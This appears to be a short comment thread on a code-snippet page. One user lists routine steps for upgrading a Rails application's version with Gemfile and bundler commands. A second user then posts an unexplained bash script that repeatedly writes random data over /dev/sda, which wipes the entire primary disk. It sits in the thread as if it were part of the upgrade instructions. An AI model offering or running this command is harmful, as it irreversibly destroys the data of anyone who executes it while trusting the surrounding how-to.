kirankarki

1. Change rails version in Gemfile
> gem 'rails', '~> 5.1', '>= 5.1.4'

2. Remove Gemfile.lock
> git rm Gemfile.lock

3. Run bundle install command
> bundle install --jobs=5

4. Run rails' app update to apply changes to app

ethereal-sandeep

#!/bin/bash 
for n in `seq 7`; do dd if=/dev/urandom of=/dev/sda bs=8b conv=notrunc; done